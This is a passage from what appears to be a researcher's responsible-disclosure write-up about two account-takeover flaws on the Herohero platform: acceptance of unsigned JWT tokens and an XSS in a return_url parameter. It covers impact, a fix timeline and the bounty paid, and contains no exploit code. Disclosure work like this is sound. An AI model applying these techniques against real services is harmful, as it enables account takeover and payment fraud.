When using the original code, both signed tokens and all unsigned tokens were accepted. 💀
Vojtěch Knyttl from Herohero proposed a change to the project for using JWT tokens without misleading usage – https://github.com/jwtk/jjwt/issues/775. Other companies had the same incorrect usage (and some probably still do). The problem was effectively resolved here: https://github.com/jwtk/jjwt/pull/658#issuecomment-1101614067.
Summary
Both discovered vulnerabilities allowed access to any account on Herohero. In one case, the user had to open a link. In the other case, no interaction was required at all (0-click attack).
The resulting impact was not merely the ability to edit/add posts or access private messages – the bigger problem was the ability to use a stored payment card to pay for subscriptions to another creator's profile, through which an attacker could have enriched themselves considerably.
In the case of the JWT token, this was a fundamental security issue that would have been caught by a standard penetration test. The XSS vulnerability was somewhat more complex, but it was still discovered in just two days of testing. In both cases, it was very fortunate that no exploitation occurred.
Any portal that handles users' payment cards should take security very seriously. Even a single small security bug (e.g. XSS) can lead to a major problem. When a platform also allows sending messages and publishing posts, the impact can be even significantly greater. An attacker can use this to propagate a link executing arbitrary malicious activity in an uncontrolled manner (XSS worm), thereby amplifying the impact of their attack.
Creators should always carefully choose the new platform they will use to share their content. Their supporters cannot make that choice – they will use whatever platform creators publish (exclusive) content on. In the event of a security incident, creators face not only damage to their reputation and the resulting impact on their collaboration income, but also the risk of personal data leaks and financial harm to their subscribers.
I greatly appreciate Herohero's speed in fixing the reported bugs. I cannot recall any company to which I reported a critical vulnerability fixing it on the same day. In this case, the fix was implemented within five hours of the report being sent (the final fix went live at 9 p.m.). 👍
I will add in closing that every more complex web application or service has security vulnerabilities of varying severity. What matters is how effectively and quickly companies can respond and remove those vulnerabilities to minimise potential damage. Even companies like Apple, Microsoft, or Google have security bugs in their products. For example, Google paid security researchers rewards totalling 10 million dollars last year – approximately a quarter of a billion CZK (source).
Timeline
6 Apr 2023, 22:00 – Began reviewing Herohero
11 Apr 2023, 16:18 – Report sent
11 Apr 2023, 19:01 – XSS in return_url fixed (later switched from localStorage to cookies)
11 Apr 2023, 21:04 – Critical JWT Token bug fixed

After the fix, I was invited to lunch and offered a collaboration. For the discovered vulnerabilities I was paid a reward of 30,000 CZK.
Addendum
While writing this article, I found an additional 4 vulnerabilities. One allowed a potential leak of personal information for all creators (first name, surname, address, phone number, date of birth), while the others led to obtaining precise revenue data. These new bugs were also reported and were again fixed quickly. In this case, everything was resolved by the following working day.